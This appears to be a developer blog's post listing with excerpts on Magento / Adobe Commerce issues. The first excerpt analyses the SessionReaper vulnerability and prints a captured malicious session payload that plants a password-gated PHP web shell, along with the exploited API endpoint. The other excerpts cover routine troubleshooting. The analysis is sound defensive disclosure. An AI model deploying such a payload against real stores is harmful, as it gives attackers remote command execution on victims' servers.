Blog

Shutting Down File Upload Controllers for SessionReaper is futile

Published: October 29, 2025

Since Searchlight Cyber published a technical write up and proof-of-concept for the SessionReaper vulnerability, attackers have been mass scanning Magento / Adobe Commerce stores for vulnerable targets. The first phase of the attack involves uploading a payload containing malicious session data to the server.

$ cat pub/media/customer_address/s/e/sess_aly4jr1awshxasfgwwboqeiqn3
_|O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{S:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{S:4:"data";a:3:{S:7:"Expires";i:1;S:7:"Discard";b:0;S:5:"Value";S:161:"<?php if (!hash_equals('4009d3fa8132195a2dab4dfa3affc8d2', md5(md5($_REQUEST['pass'] ?? '')))) { header('Location:404.php'); exit; } system($_REQUEST['cmd']); ?>";}}}S:10:"strictMode";N;S:8:"filename";S:16:"./errors/503.php";S:19:"storeSessionCookies";b:1;}

Next, the attacker sends a request to the /rest/default/V1/guest-carts/:cartId/order endpoint, manipulating the savePath property of the sessionConfig object such that the malicious session will be initialized.

To protect against this vulnerability it is critical to apply Adobe’s patch which adds validation to the API request handling to control which types of objects can be created, preventing manipulation of the sessionConfig.

Chrome Developer Tools Network Tab Filter by 'not' status code

Published: January 10, 2025

Tags:

Recently a co-worker reported sporadic 500-range errors on a website he was performing testing on. I was trying to gather some information on what was happening and wanted to use the “Network” tab in Chrome DevTools to show me the following requests

  1. Only requests to the domain of the specific website (e.g. filter out all 3rd party requests)
  2. All non 200 responses

Step one I knew how to do…in the filter search enter domain:example.com (replacing example.com with the actual domain for the project), however I was unsure how to complete the second step.

Mixin is not a function in Magento / Adobe Commerce

Published: December 17, 2024

A few weeks back I found myself staring at the following error on a Magento project.

TypeError: originalPlaceOrderFunction(paymentData,messageContainer).done is not a function. (In 'originalPlaceOrderFunction(paymentData,messageContainer).done(function(response){if(paymentData.method==='subscribe_pro'){$(document).trigger('subscribepro:orderPlaceAfter',[response]);}})', 'originalPlaceOrderFunction(paymentData,messageContainer).done' is undefined);

The error was firing in some cases when the user attempted to click the place order button. Googling wasn’t much help nor was the error message especially clear about the exact cause. As such I figured I’d do a quick write up to help any future developers who might find themselves in the same shoes.

Segfaults when using ionCube or SourceGuardian wih the New Relic PHP Agent

Published: December 6, 2024

Over the past few months I’ve seen reports from multiple clients about problems saving and updating product information on their Adobe Commerce stores. We originally saw the issue back in August and I need to give credit to Nemanja Djuric from Webscale as he was actually the one who identified the root cause.

Why 404s Aren't Cached in Adobe Commerce

Published: November 22, 2024

Recently I was investigating an outage on a client website where a large spike in traffic generating a 404 response was at play.

Screenshot of traffic spike

Reviewing the requests in detail, I noticed that the same URLs were being hit repeatedly within a short time frame, however the responses never came from cache.

This lead me to the question…why wouldn’t a 404 response be served from cache? I reached out to Adobe support and learned a few things. In this post I will share my findings.

Viewing Origin Response on Adobe Commerce Cloud

Published: November 14, 2024

Recently I was working through an issue on an Adobe Commerce Cloud project where I was interested to see the raw response headers issued by the Magento backend. With Adobe Commerce Cloud, requests are typically routed through Fastly which removes and modifies the origin response headers. My searching and testing wasn’t turning up a solution for my needs. Adobe provides documentation on how to “bypass” Fastly. While this is useful in some cases, such as preventing specific pages from being cached, it still doesn’t allow visibility into the raw response.

I opened a support ticket with Adobe and they provided the below answer. Since I couldn’t find it documented anywhere publicly, I figured I’d share it here.